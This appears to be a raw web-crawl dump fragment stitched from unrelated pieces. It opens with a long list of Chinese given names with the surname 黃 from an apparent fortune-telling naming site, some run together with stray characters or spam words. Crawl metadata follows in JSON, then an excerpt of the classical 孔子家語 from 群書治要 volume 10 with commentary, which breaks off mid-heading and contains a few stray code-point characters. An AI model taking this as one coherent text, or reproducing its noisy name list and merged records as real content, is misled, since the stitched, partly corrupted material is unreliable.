黃竣崎 黃建 黃小明 黃小兵 黃雄 黃書伍 黃品涵 黃子成 黃澤 黃榕湘 黃銘 黃鋒 黃瑞平 黃柳 黃中振 黃國華 黃保生 黃思遠 黃萬軍 黃和諧 黃明 黃建忠 黃新燕 黃皓\n黃偉祺 黃秋發 黃應章 黃寅 黃培燁 黃虎山 黃俊錦 黃嘉瑞 黃少杰 黃侃楓 黃新 黃保輝 黃智山 黃明佳 黃明輝 黃桂榮 黃思桐 黃符順 黃鵬 黃立敏 黃越澤 黃立群 黃臻 黃富孫 黃雄東 黃永松 杰 黃澤凱 黃忠 黃雷 黃紹青 黃忠銘 黃躍飛 黃瑞波 黃哲萱 黃快意 黃好和 黃乃鵬 黃湛 黃彪 黃嘉琪 黃瀑 黃姚 黃會水 黃云征 黃育文 黃勁強 黃江福 黃曉儀 黃雨航 黃健 黃有碩 黃彬程 黃程彬 存 黃智勇 黃鈺澤 黃炎輝 黃鵬煊 黃君炫 黃理函 黃楠 黃子良 黃亞春 黃泓銘 黃明保 黃昱朝 黃添 黃歌 黃建軍 黃博棟 黃永念 黃楚益 黃磊 黃皓謙 黃通華 黃俊輝 黃振雄\n黃宣皓 黃至誠 黃歷歷 黃進強 黃顯輝 黃耀宇 黃貴峰 黃青偉 黃健桓 椋 黃寶臻 黃標致 黃志元 黃曉東 黃子航 黃紹松 黃禮祥 黃頌軒\n黃竹凡 黃中康 黃年昆 黃奇婷 黃湖洋 黃蘭毓 黃庭紹 黃英亨 黃陽泉 黃貞發 黃云松 黃希筠 黃春人 黃長谷 黃吟慈 黃昭軍 黃容柏 黃馨湖 黃展綠 黃木富 黃以彥 黃能仲 黃依明 黃紋鈺 黃志筠 黃意婷 黃信凡 黃玫宇 黃瑞臻 黃貞偉 黃上良 黃茹勇 黃琇峰 黃迪真 黃海廷 黃富貴 黃力年 黃恆蕓 黃辰俐 黃克定 黃一辰 黃明茜 黃松輝 黃駿剛 黃光凱 黃安琳 黃珍弘 黃辰達 黃瑩恭 黃堯臻 黃良沛 黃茜娥 黃慧英 黃映新 黃君貴 黃瑋盛 黃品茂 黃辛士 黃馨揚 黃義啟 黃寶桂 黃琳竹 黃力淳 黃堯人 黃尚旭 黃伶航 黃瑞圣 黃江宇 黃呈年 黃谷娥 黃勳凱 黃圣定 黃亮利 黃韋弘 黃世柏 黃婷蓉 黃能念 黃琪仁 黃書榮 黃大勇 黃妏恭 黃正均 黃乃齊 黃伯瑋 黃雨均 黃可汝 黃重枝 黃虹男 黃英真 黃仕淑 黃振軍 黃峻淑 黃夫智 黃伶亞 黃凱珠 黃柔佳 黃恒名 黃春泉 黃妤芬 黃禾仁 黃蘭維 黃可嘉 黃美能 黃智富 黃揚瑞 黃漢松 黃桂蓮 黃慈昆 黃杰亦 黃皓杰 黃枝禾 黃歡一 黃峻綠 黃宗禾 黃晉寧 黃辛凱 黃世芷 黃桓光 黃合臻 黃智凌 黃姿伯 黃添欣 黃泰珠 黃邦秋 黃豐倩 黃靖妏 昌 黃政廷 黃虹苓 黃小行 黃智儀 黃玟雯 黃揚皓 黃智一八字出國工作 黃毓屏 黃宗珮 黃喜琪 黃良修 黃昀恭 黃任杰 黃宸明 黃海政 黃辰姍 黃名白 黃佐淑 黃仲倩 黃利平 黃千瑋 黃紹育 黃佩星 黃旻雪 黃和虹 黃宛琬 黃友菁 黃旺妮 黃均柏 明 黃恬瑜 黃石辛 黃蓉伶 黃起名算命尚彬 黃可漢 黃萍 黃枝君 潔 黃宜亦 黃琳嘉 黃甫山 黃振姍 黃容綺 黃儒財 黃堅文 黃禎任 黃紹慧 黃茜亦 黃柏帆 黃榮冰 黃甫霞 黃吉君 黃奇盈 黃淳屏 黃鈺元 黃瑋華 黃上昀 黃智和 黃沛嘉 黃聿沛 黃紹睿 黃原春 黃聿博 黃光發 黃少玲 黃德倫 黃翰卿 黃芝和 黃劭蓮 黃洋純 黃青吟 黃梅修 黃白凡 黃宜弘 黃琇倩 黃之良 黃昕峰 黃侑航 黃秉岑 黃奇梅 黃夢映 黃為瑋 黃可湖 黃瑋山 黃嬌娥 黃宸伸 黃純蕓 黃軍芝 黃博霖 黃鑫君 黃欣綸 黃旭萱 黃志群 黃兆岑 黃鑫云 黃迪春 黃沛伶 黃予梅 黃慈生 黃東岳 黃南孜 黃枝彬 黃姵泰 黃樂倩 黃財廷 黃皓江 黃儒娟 黃孜琴 黃玲緯 黃光惠 黃汝佩 黃世淳 黃如合 黃隆婷 黃可蓉 黃樂茜 黃隆倩 黃湖俊 黃姵茹 黃陽鑫 黃智珊 黃漢瑞 黃綺奇 黃馨睿 黃韻財 黃典昀 黃州娥 黃孟江 黃重義 黃柔軒 黃丞茵 黃姵安 黃志蓉 黃湖皓 黃淑東 黃宣禾 黃侑霞 黃宸秋 黃辰月 黃喜琪 黃偉奇 黃筠蓉 黃城峰 黃智俐 黃依奇 黃白谷 黃昇貴 黃陽旺 黃秉昆 黃彬郁 黃紹全 黃青琬 黃光宇 黃綺能 黃堅廷 黃賢博 黃光虹 善 黃谷輝 黃冠雨 黃容山 黃雯陽 黃杰書 黃維任 黃安哲 黃皇純 黃姍龍 黃函辰 黃方哲 黃以竹 黃茂純 黃喜帆 黃杰倩 黃千淑 黃任汝 黃琇宜 黃凡桓 黃函江 黃軍書 黃紫樂 黃民瑜 黃峻倩 黃妤倫 黃重德 黃鈺欣 黃明倫 黃伸瑄 黃旺郁 黃茜瑋 黃上宏 黃俊洋 黃容奇 黃仰一 黃群伶 黃利啟 黃富軍 黃春芷 黃協州 黃冠香 黃育桂 黃其白 黃泓智 黃倫玟 黃易琬 黃冰華 沛 黃瑩娥 黃亨書 黃姵瑜 黃玄芝 黃恩盛 黃登坤 黃英諭 黃惠隆 黃春綠 黃丞茜 黃伶辛 黃上山 黃新慈 黃延琪 黃克琳 黃梅侑 黃如堯 黃新亦 黃旺俊 黃茵芳 黃夢英 黃阿俐 黃燦云 黃毓沛 黃珮幸 黃百凌 黃奕友 黃丹苓 黃陽強 黃一貞 黃和中 黃穎孜 黃之泉 黃柏幸 黃旭書 黃芳娟 黃禎平 黃佐州 黃思亦 黃夙宜 黃依霞 黃妙旭 黃元仁 黃凱婷 黃珊萱 黃財昇 黃歡俐 黃舜人 黃嬌齊 黃賢江 黃妤倩 黃岳盈 黃婷秋 黃妙江 黃新華 黃依純 黃卉惠 黃桓中 黃光湖 黃之舜 黃苓辰 黃旭南 黃世汝 黃紋任 黃志季 黃聿謙 黃伊毓 黃興男 黃念玫 黃琳名 黃月陽 黃盈凱 黃迪良 黃璇卿 黃嘉亦 黃雅樂 黃銘岳 黃揚全 黃羽山 黃易菱 黃政仁 黃旻貴 黃妍琇 黃郁貴 黃冠綠 黃尚彬 黃友惟 光 黃成慈 黃峻齊 黃恬孜 黃海誠 黃行儀 黃芃寧 黃育揚 黃柔臻 黃弘竹 黃盛杰 黃虹財 黃吉博 黃毓琇 黃珍茵 黃茵鈺 黃良帆 黃元霖 黃玟士 黃若琪 黃定友 黃賢紫 黃佳法 黃堯修 黃初諭 黃佳倩 黃德琴 黃幸妃 黃水定 黃孝毓 黃宇岳 黃意琪 黃梅怡 黃呈睿 黃孟順 黃采秋 黃恆真 黃安寧 黃江綠 黃毓劭 黃憲珮 黃清輝 黃丹凱 黃秉佩 黃泓俊 黃又苓 黃雯娥 黃心智 黃潔辰 黃萱君 黃茵發 黃純峰 黃介瑞 黃勳洋 黃仕江 黃昭昌 黃丞柏 黃綠旺 黃屏汝 黃宗琴 黃揚啟 黃琇倩 黃仕仲 黃亞白 黃琬奇 黃辰天 黃然嘉 黃妏志 黃羽奇 黃定蕓 黃筠瑜 黃希以 黃采侑 黃重華 黃子旭 黃丞亦 黃昆英 黃佳生 黃俊宸 黃偉堅","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/myself8.com\/%E7%94%9F%E8%BE%B0%E5%85%AB%E5%AD%97%E9%BB%83%E5%A7%93%E8%B5%B7%E5%85%AB%E5%AD%97-%E7%A5%9E%E7%85%9E-%E6%8E%92%E7%9B%A4%E5%90%8D%E5%AD%97%E5%A4%A7%E5%85%A8\/","date":"2023-12-03T08:22:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100489.16\/warc\/CC-MAIN-20231203062445-20231203092445-00163.warc.gz","language":"lzh","language_score":0.4144618213,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41446182131767273, \"nan_Hani_score\": 0.3092900812625885, \"cmn_Hani_score\": 0.1382579356431961, \"yue_Hani_score\": 0.13624419271945953}","num_words":1269,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孔子家語\n群書治要卷十\n始 誅\n孔子爲魯大司寇。朝政七日而誅亂法大夫少正卯。戮之於兩觀之下。兩觀。闕也。尸於朝三日。子貢進曰。夫少正卯。魯之聞人也。今夫子爲政而始誅之。或者爲失之乎。孔子曰。天下有大惡者五。而盗竊不與焉。一曰心逆而嶮。二曰行僻而堅。三曰言僞而辨。四曰記醜而博。醜謂非義。五曰順非而澤。此五者。有一於人。則不免於君子之誅。而少正卯皆兼有之。其居處足以撮徒成黨。撮。聚也。其談説足以飾袤(袤舊作褒。改之)熒衆。其强禦足以反是獨立。此乃人之奸雄也。不可以不除。\n孔子爲魯大司寇。有父子訟者。夫子同狴執之。狴。獄牢也。三月不别。其父請止。夫子赦焉。季孫聞之不悦曰。司寇欺余。曩告余曰。爲國家者必先以孝。今戮一不孝以教民孝。不亦可乎?而又赦之。何哉?孔子喟然嘆曰。嗚呼。上失其道。而殺其下。非理也。不教以孝而聽其獄。是殺不辜也。三軍大敗。不可斬也。獄犴不治。不可刑也。何者?上教之不行。罪不在民故也。夫慢令謹誅。賊也。徵斂無時。暴也。不誡責成。虐也。政無此三者。然後刑可即也。既陳道德以先服之。而猶不可。則尚賢以勸之。又不可。則廢不能以憚之。(則廢至憚之七字。作即廢之又不可而後以威憚之十三字)若是。百姓正矣。其有邪民不從化者。然後待之以刑。則民咸知罪矣。是以威厲而不誡(誡作試)。刑措而不用也。今世不然。亂其教。煩其刑。使民迷惑而陷罪焉。又從而製 之。故刑彌繁而盗不勝也。世俗之陵遲久矣。雖有刑法。民能勿逾乎。\n王 言\n孔子閑居。謂曾子曰。參。汝可語明王之道與。居。吾語汝。夫道者。所以明德也。德者。所以尊道也。是故非德。道不尊也。非道。德不明也。雖有國之良馬。不教服乘。不可以取道里。雖有博地衆民。不以其道(舊無其道之其。補之)治之。不可以致霸王。是故昔者明王内修七教。外行三至。七教修而可以守。三至行而可以徵。明王之道。其守也。則必折衝千里之外。其徵也。還師衽席之上。故曰内修七教而上不勞。外行三至而財不費。此之謂明王之道也。曾子曰。不勞不費之爲明王。可得而聞乎。孔子曰。昔者。帝舜左禹。右皋陶。不下席而天下治。夫如此。何上之勞乎。若乃十一而税。用民之力。歲不過三日。入山澤以其時而無徵。此則生財之路也。而明王節之。何財之費乎。\n曾子曰。敢問何謂七教。孔子曰。上敬老則下益孝。上尊齒則下益悌。上樂施則下益寬。上親賢則下擇友。上好德則下無隱。上惡貪則下耻争。上廉讓則下知節。此之謂七教也。七教者。治民之本也。政教定。則本正矣。凡上者民之表也。表正則何物不正。曾子曰。道則至矣。弟子不足以明之。孔子曰。參。汝以爲姑止此乎。\n昔者。明王之治民也。有法必裂地而封之。分屬而理之。然後賢民無所隱。暴民無所伏。使有司日省而時考之。進用賢良。退貶不肖(不肖下舊有然字。删之)則賢(賢下舊有良字。删之)者悦而不肖者懼。哀鰥寡。養孤獨。恤貧窮。誘孝悌。選才能。此七者修。則四海之内無刑民矣。上之親下也。如手足之於腹心。下之親上也。如幼子之於慈母矣。上下相親如此。故令則從。施則行。民懷其德。近者悦服。遠者來附。政之致也。田獵罩弋。罩。掩網也。弋。繳射也。非以盈宫室也。徵斂百姓。非以充府庫也。慘怛以補不足。禮節以損有餘。多信而寡貌。其禮可守。其言可覆。其迹可履。其於信也如四時。其博有萬民也如饑而食。如渴而飲。民之信之如寒暑之必驗也。故視遠若邇。非道邇也。見明德也。是故兵革不動而威。用利不施而親。此之謂明王之守。折衝乎千里之外者也。\n曾子曰。敢問何謂三至。孔子曰。至禮不讓而天下治。至賞不費而天下之士悦。至樂無聲而天下之民和。明王篤行三至。故天下之君可得而知也。天下之士可得而臣也。天下之民可得而用也。曾子曰。敢問此義何謂也。孔子曰。古者明王必盡知天下良士之名。既知其名。又知其實。既知其實。然後因天下之爵以尊之。此之謂至禮不讓而天下治。因天下之禄以富天下之士。此之謂至賞不費而天下之士悦。如此則天下之明譽興焉。此之謂至樂無聲而天下之民和。故曰。所謂天下之至仁者。能合天下之至親者也。所謂天下之至智者。能用天下之至和。所謂天下之至明者。能舉天下之至賢。此三者咸通。然後可以徵。是故仁者莫大於愛人。智者莫大於知賢。政者莫大於官能。有士之君。能修此三者。則四海之内供命而已矣。夫明王之所徵。必道之所廢者也。是故誅其君而改其政。吊其民而不奪其財。故曰。明王之徵也。猶時雨之降也。至則民悦矣。是故行施彌博得親彌衆。此之謂還師衽席之上。言安而無憂也。\n大 婚\n孔子侍坐於哀公。公問曰。敢問人道誰爲大。孔子對曰。夫人道政爲大。夫政者。正也。君爲正。則百姓從而正矣。君之所爲。百姓之所從也。君之不爲。百姓何從。公曰。敢問爲政如之何。孔子對曰。夫婦别。父子親。君臣信。三者正。則庶物從之矣。内以治宗廟之禮。足以配天地之神也。出以治直言之禮。足以立上下之敬也。夫婦正則出可以治政言禮矣。身正乃可以正人矣。物耻則足以振之。耻事不如禮。則足以振教之也。國耻則足以興之。耻國不如禮。則足以興起之。故爲政先乎禮。禮其政之本與。孔子遂言曰。昔三代明王之必敬妻子也。蓋有道焉。妻也者。親之主也。子也者。親之後也。敢不敬與。是故君子無不敬也。敬也者。敬身爲大。身也者。親之支也。敢不敬與。不敬其身。是傷其親。傷其親。是傷其本也。傷其本。則支從而亡。三者。百姓之象也。言百姓之所法而行。身以及身。子以及子。妃以及妃。君修此三者。則大化愾於天下。愾。滿也。\n公曰。敢問何謂敬身。孔子對曰。君子過言則民作辭。過動則民作則。言不過辭。動不過則。百姓恭敬以從命。若是。則可謂能敬其身。能敬其身。則能成其親矣。\n公曰。何謂成親。孔子對曰。君子者。乃人之成名也。百姓與名。謂之君子。則是成其親爲君而爲其子也。孔子遂言曰。爲政而不能愛人。則不能成其身。不能成其身。則不能安其土。不能安其土。則不能樂天。不能樂天道也。不能樂天。則不能成身。\n公曰。敢問何謂成身。孔子對曰。夫其行己不過於物。謂之成身。不過於物。合天道也。\n問 禮\n哀公問於孔子曰。大禮何如。子之言禮何其尊也。孔子曰。丘聞之。民之所以生者禮爲大。非禮則無以節事天地之神焉。非禮則無以辨君臣上下長幼之位焉。非禮則無以别男女父子兄弟婚姻親族疏數之交焉。是故君子此爲之尊敬。然後以其所能教示百姓。卑其宫室。節其服御。車不雕璣。器不雕鏤。食不二味。心不淫志。以與萬民同利。古之明王之行禮也如此。\n公曰。今之君子胡莫之行也。孔子對曰。今之君子。好利無厭。淫行不倦。荒怠慢游。固民是盡。以遂其心。以怨其政(政下有以忤其衆四字)以伐有道。求得當欲。不以其所。言苟求得當其情欲而已。虐殺刑誅。不以其理。夫昔之用民也由前。用上所言。今之用民也由後。用下所言。是即今之君子莫能爲禮也。\n五 儀\n哀公問於孔子曰。寡人欲論魯國之士與之爲治。敢問如何取之。\n孔子曰。人有五儀。有庸人。有士人。有君子。有賢。有聖。審此五者。則治道畢矣。\n所謂庸人者。心不存慎終之規。口不吐訓格之言。格。法也。不擇賢以托其身。不力行以自定。見小暗大而不知所務。從物如流而不知所執。此則庸人也。\n所謂(舊脱所謂字。補之。)士人者。心有所定。計有所守。雖不能盡道術之本。必有率也。率猶述也。雖不能備百善之美。必有處也。是故智不務多。務審其所知。言不務多。務審其所謂。所謂者謂言之要也。行不務多。務審其所由。智既知之。言既得之。得其要也。行既由之。則若性命形骸之不可易也。富貴不足以益。貧賤不足以損。此則士人也。\n所謂君子者。言必忠信而心不怨。忍怨害也。仁義在身而色不伐。無伐善之色也。思慮通明而辭不專。篤行信道。自强不息。油然若將可越而終不可及者。此君子也。油然。不進之貌。越。過。\n所謂賢者。德不逾閑。閑猶法也。行中規繩。言足法於天下而不傷於身。言滿天下無口過也。道足化于百姓而不傷於本。本亦謂身。富則天下無宛財。宛。積也。施則天下不病貧。此賢者也。\n所謂聖者。德合天地。變通無方。窮萬事之終始。協庶品之自然。敷其大道而遂成情性。明并日月。化行若神。下民不知其德。睹ꨚ者不識其鄰ꨜ。此聖者也。鄰以喻畔界也。\n公曰。善哉。非子之賢。則寡人不得聞此言也。雖然。寡人生於深宫之中。長於婦人之手。未嘗知哀。未嘗知憂。未嘗知勞。未嘗知懼。未嘗知危。恐不足以行五儀之教。若何。\n孔子曰。君入廟而右。登自阼階。仰視榱桷。俯察机筵。其器皆存而不睹其人。君以此思哀。則哀可知矣。昧爽夙興。正其衣冠。爽。明也。昧明。始明也。夙。早也。興。起也。平旦視朝。慮其危難。一物失理。亂亡之端。君以此思憂。則憂可知矣。日出聽政。至乎中昃。中。日中也。昃。日昳也。諸侯子孫往來爲賓。行禮揖讓。慎其威儀。君以此思勞。則勞可知矣。緬然長思。出乎四門。周章遠望。睹亡國之墟。必將有數焉。言亡國故墟非但一也。君以此思懼。則懼可知矣。夫君者舟也。民者水也。水所以載舟。亦所以覆舟。君以此思危。則危可知矣。既明此五者。而又少留意於五儀之事。則於政治乎何有失哉。\n哀公問於孔子曰。請問取人之法。孔子對曰。事任之官。言各當以其所能之事任之於官也。無取捷捷。無取鉗鉗。鉗。妄對不謹誠。無取啍啍。啍啍。多言也。捷捷。貪也。捷捷而不良。所以爲貪。鉗鉗。亂也。啍啍。誕也。誕。欺詐也。故弓調而後求勁焉。馬服而後求良焉。士必慤而後求智能焉。不慤而多能。譬之豺狼。不可邇也。邇。近也。言人無智能者。雖不慤信。不能爲大惡也。不慤信而有智能者。然後乃可畏也。\n哀公問於孔子曰。夫國家之存亡禍福。信有天命。非唯人耶。\n孔子對曰。存亡禍福。皆在己而已。天灾地妖。弗能加也。昔者。殷王帝辛之世。帝辛紂也。有雀生大鳥於城隅焉。帝辛介雀之德。介。助也。以雀之德爲助也。不修國政。殷國以亡。此即以己逆天時。得福反爲禍者也。又其先世殷(殷下有王字)太戊之時。道缺法邪。以致夭孽。桑穀生朝。七日大拱。太戊恐駭。側身修行。三年之後。遠方慕義。重譯至者十有六國。此即以己逆天時。得禍轉爲福者也。故失灾地妖。所以儆人主也。寤夢徵怪。所以儆人臣也。儆。戒也。灾妖不勝善政。夢怪不勝善行。能知此。至治之極也。明王達此也。\n致 思\n季羔爲衞士師。士師。獄官。刖人之足。俄而衞有亂。季羔逃之。刖者守門焉。謂季羔曰。彼有缺。季羔曰。君子不逾。又曰。彼有竇。季羔曰。君子不隧。隧。從竇出。又曰。於此有室。季羔入焉。既而追者罷。季羔將去。謂刖者曰。吾不能虧主之法而親刖子之足。今吾在難。此正子報怨之時。而子逃我。何故。刖者曰。斷足。故我之罪也。無可奈何。曩者君治臣以法令。先人後臣。欲臣之免也。臣知之。獄决罪定。臨當論刑。君愀然不樂。見於顏色。臣又知之。君豈私臣哉。天生君子。其道故然。此臣之所以悦(悦作脱)。君也。孔子聞之曰。善哉爲吏。其用法一也。思仁恕則樹德。加嚴暴則樹怨。公以行。其子羔乎。\n子路爲蒲宰。爲水備。修溝瀆。以民之煩苦也。人與一簞食。一壺漿。孔子止之。子路曰。由也以民多匱餓者。匱。乏也。是以與之簞食壺漿。而夫子使止之。是夫子止由之行仁也。孔子曰。爾以民爲餓。何不白於君。發倉廩以給之。而私以爾食饋之。是汝明君之無惠也。速已則可。不已。則爾之見罪必矣。\n子貢問治民於孔子。孔子曰。懍懍焉如以腐索御捍馬。懍懍焉。誡懼之貌。捍馬。突馬也。子貢曰。何其畏也。孔子曰。夫通達之屬皆人也。以道導之。則吾畜也。不以道導之。則吾仇也。若之何其無畏也。\n三 恕\n孔子曰。君子有三恕。有君弗能事。有臣而求其使。非恕也。有親弗能孝。有子而求其報。非恕也。有兄弗能敬。有弟而求其順。非恕也。士能明於三恕之本。則可謂端身矣。端。正也。\n孔子觀於魯桓公之廟。有敧器焉。孔子問於守廟者。曰。此爲何器。對曰。此蓋爲宥坐之器。孔子曰。吾聞宥坐之器。虚則敧。中則正。滿則覆。明君以爲誡。故置於坐側也。顧謂弟子曰。試注水焉。水實之。中則正。滿則覆。夫子喟然嘆曰。嗚呼。夫物惡有滿而不覆者哉。子路進曰。敢問持滿有道乎。子曰。聰明睿智。守之以愚。功被天下。守之以讓。勇力振世。守之以怯。富有四海。守之以謙。此所謂損之又損之之道也。\n好 生\n哀公問於孔子曰。昔者舜冠何冠乎。孔子不對。公曰。寡人問於子。而子無言何也。孔子曰。以君之問不先其大者。故方思所以爲對焉。公曰。其大何乎。孔子曰。舜之爲君也。其政好生而惡殺。其任授賢而替不肖。德若天地之虚静。化若四時之變物。是以四海承風。暢於异類。异類。四方之夷狄也。鳳翔麟至。鳥獸馴德。馴。順也。無他。好生故也。君舍此道而冠冕是問。是以緩對。\n觀 周\n孔子觀於明堂。睹四方之墉。墉。墻。有堯。舜。桀。紂之象。而各有善惡之狀。興廢之誡焉。又有周公相成王。抱之而負斧扆。南面以朝諸侯之圖焉。孔子徘徊而望之。謂從者曰。此則周之所以盛也。夫明鏡者所以察形。往古者所以知今。人主不務襲迹於其所以安存。而忽怠於(怠於下有共字)所以危亡。是猶未有以异於却步而欲求及前人也。豈非惑哉。\n孔子觀周。遂入大祖后稷之廟。廟堂右階之前。有金人焉。參緘其口而銘其背曰。古之慎言人也。戒之哉。無多言。多言多敗。無多事。多事多患。安樂必誡。雖處安樂必警誡也。無行所悔。所悔之事。不可復行。勿謂何傷。其禍將長。勿謂何害。其禍將大。勿謂不聞。神將伺人。焰焰不滅。炎炎若何。涓涓不壅。終爲江河。緜緜不絶。或成網羅。緜緜。微而不絶。則有成網羅者。豪末不扎。如豪之末言微也。扎。拔也。將尋斧柯。尋。用。誠能慎之。福之根也。口是何傷。禍之門也。强梁者不得其死。好勝者必遇其敵。盗憎主人。民惡其上。君子知天下之不可上也。故下之。知衆人之不可先也。故後之。温恭慎德。使人慕之。執雌持下。人莫逾之。人皆趣彼。我獨守此。人皆惑惑。我獨不徙。惑惑。東西轉移之貌。内藏我智。不示人技。我雖尊高。人弗我害。唯能於此。天道無親。常與善人。戒之哉。戒之哉。孔子既讀斯文。顧謂弟子曰。小子志之。此言實而中。情而信。\n賢 君\n哀公問於孔子曰。當今之君。孰爲最賢。孔子對曰。丘未之見也。抑有衞靈公乎。公曰。吾聞其閨門之内無别。而子次之賢。何也。孔子對曰。臣語其朝廷行事。不論其私家之際也。公曰。其事如何。孔子曰。靈公之弟曰公子渠牟。其智足以治千乘。其信足以守之。靈公愛而任之。又有士曰王林國者。見賢必進之。而退與分其禄。是以衞國無游放之士。靈公知而尊之。又有士曰慶足者。國有大事則必起而治之。國無事則退而容賢。言其所以退。欲以容賢於朝。靈公悦而敬之。又有大夫史鰌。以道去衞。而靈公郊舍三日。琴瑟不御。必待史鰌之入而後敢入。臣以此取之。雖次之賢。不亦可乎。\n子貢問孔子曰。今之人臣孰爲賢乎。子曰。齊有鮑叔。鄭有子皮。則賢者矣。子貢曰。齊無管仲。鄭無子産乎。子曰。賜。汝徒知其一。未知其二也。汝聞用力爲賢乎。進賢爲賢乎。子貢曰。進賢賢哉。子曰。然。吾聞鮑叔達管仲。子皮達子産。未聞二子之達賢己之才者也。\n哀公問於孔子曰。寡人聞忘之甚者。徙而忘其妻。有諸。孔子對曰。此猶未甚者。甚者乃忘其身。公曰。可得聞乎。孔子曰。昔夏桀貴爲天子。富有四海。忘其聖祖之道。壞其典法。絶其世祀。荒乎淫樂。沉湎於酒。佞臣諂諛。窺導其心。忠士鉗口。逃罪不言。鉗口。杜口。天下誅桀而有其國。此之謂忘其身之甚者也。\n子路問於孔子曰。賢君治國所先者何在。孔子曰。在於尊賢而賤不肖。子路曰。由聞晋中行氏尊賢而賤不肖矣。其亡何也。子曰。中行氏尊賢而弗能用。賤不肖而不能去。賢者知其不己用而怨之。不肖者知其必己賤而仇之。怨讎并存於國。鄰敵構兵於郊。中行氏雖欲無亡。豈可得乎。\n哀公問政於孔子。孔子對曰。政之急者。莫大乎使民富且壽也。公曰。爲之奈何。孔子曰。省力役。薄賦斂。則民富矣。敦禮教。遠罪疾(疾作戾)。則民壽矣。公曰。寡人欲行夫子之言。恐吾國貧矣。孔子曰。詩不云乎。愷悌君子。民之父母。未有其子富而父母貧者也。\n衞靈公問孔子曰。有語寡人。爲國家者。計之於廟堂之上。則政治矣。何如。孔子曰。其可也。愛人者則人愛之。惡人者則人惡之。知得之己者則知得之人。所謂不出環堵之室而知天下者。知反己之謂也。\n辨 政\n子貢爲信陽宰。將行。孔子曰。勤之慎之。奉天之時。無奪無伐。無暴無盗。子貢曰。賜也。少而事君子。豈以盗爲累哉。孔子曰。而未之詳也。夫以賢代賢。是之謂奪。以不肖代賢。是之謂伐。緩令急誅。是之謂暴。取善自與。是之謂盗。盗非竊財之謂也。吾聞之。知爲吏者奉法以利民。不知爲吏者。枉法以侵民。此怨所由生也。匿人之善。斯謂蔽賢。揚人之惡。斯謂小人。内不相訓而外相謗。非親睦也。言人之善。若己有之。言人之惡。若己受之。故君子無所不慎焉。\n六 本\n孔子曰。行已有六本焉。然後爲君子。立身有義矣。而孝爲本。喪紀有禮矣。而哀爲本。戰陣有列矣。而勇爲本。治政有理矣。而農爲本。居國有道矣。而嗣爲本。繼嗣不立。則亂之源也。生財有時矣。而力爲本。置本不固。無務豐末。親戚不悦。無務外交。事不終始。無務多業。反本修迹。君子之道也。\n孔子曰。藥酒苦於口而利於病。忠言逆於耳而利於行。湯。武以諤諤而昌。桀。紂以唯唯而亡。君無争臣。父無争子。兄無争弟。士無争友。其無(其無作無其)過者未之有也。故曰。君失之。臣得之。父失之。子得之。兄失之。弟得之。士失之。友得之。是以國無危亡之兆。家無悖亂之惡。父子兄弟無失。而交友無絶。\n孔子讀易至於損益。喟然而嘆。子夏避席問曰。夫子何嘆焉。孔子曰。夫自損者必有益之。自益者必有决之。吾是以嘆也。子夏曰。然則學者不可以益乎。子曰。非道益之謂也。道彌益而身彌損。夫學者。損其自多。以虚受之。天道成而必變。凡持滿而能久者。未嘗有也。故曰。自賢者。則天下之善言不得聞其耳矣。\n孔子曰。以富貴而下人。何人不與。以富貴而愛人。何人不親。發言不逆。可謂知言矣。\n孔子曰。吾死之後。則商也日益。賜也日損。曾子問曰。何謂也。子曰。商也好與賢已者處。賜也好悦不如己者。不知其子視其父。不知其人視其友。不知其君視其所使。故曰。與善人居。如入芝蘭之室。久而不聞其香。即與之化矣。與不善人居。如入鮑魚之肆。久而不聞其臭。亦與之化矣。是以君子必慎其所與者焉。\n哀公問政\n哀公問政於孔子。孔子對曰。文武之政。布在方策。其人存。則其政舉。其人亡。則其政息。故爲政在於得人。取人以身。修身以道。修道以仁。仁者人也。親親爲大。義者宜也。尊賢爲大。親親之殺。尊賢之等。禮所生也。是以君子不可以不修身。思修身。不可以不事親。思事親。不可以不知人。思知人。不可以不知天。天下之達道有五。其所以行之者三。曰君臣也。父子也。夫婦也。昆弟也。朋友之交也。五者。天下之達道也。智。仁。勇。三者。天下之達德也。所以行之者一也。或生而知之。或學而知之。或困而知之。及其知之一也。或安而行之。或利而行之。或勉强而行之。及其成功一也。好學近於智。力行近於仁。知耻近於勇。知斯三者。則知所以修身。知所以修身。則知所以治人。知所以治人。則能成天下國家矣。\n公曰。政其盡此而已乎。孔子曰。凡爲天下國家者。有九經焉。曰修身也。尊賢也。親親也。敬大臣也。體群臣也。子庶人也。來百工也。柔遠人也。懷諸侯也。修身則道立。尊賢則不惑。親親則諸父昆弟不怨。敬大臣。則不眩。體群臣。則士之報禮重。子庶民。則百姓勸。來百工。則財用足。柔遠人。則四方歸之。懷諸侯。則天下畏之。公曰。爲之奈何。孔子曰。齊莊盛服。非禮不動。所以修身也。去讒遠色。賤貨而貴德。所以尊賢也。爵其能。重其禄。同其好惡。所以篤親親也。官盛任使。所以敬大臣也。盛其官任而使之也。忠信重禄。所以勸士也。忠信者與之重禄也。時使薄斂。所以子百姓也。日省月考。既禀稱事。所以來百工也。既禀食之。各當其職事也。送往迎來。嘉善而矜不能。所以綏遠人也。綏。安也。繼絶世。舉廢邦。朝聘以時。厚往而薄來。所以懷諸侯也。治天下國家有九經焉。其所以行之者一也。凡事豫則立。不豫則廢。言前定則不跲。跲。躓。事前定。則不困。行前定。則不疚。疚。病。道前定。則不窮。公曰。子之教寡人備矣。敢問行之所始。孔子曰。立愛自親始。教民睦也。立敬自長始。教民順也。教以慈睦而民貴有親。教以敬長而民貴用命。民既孝於親。又順以聽命。措諸天下。無所不行。\n顏 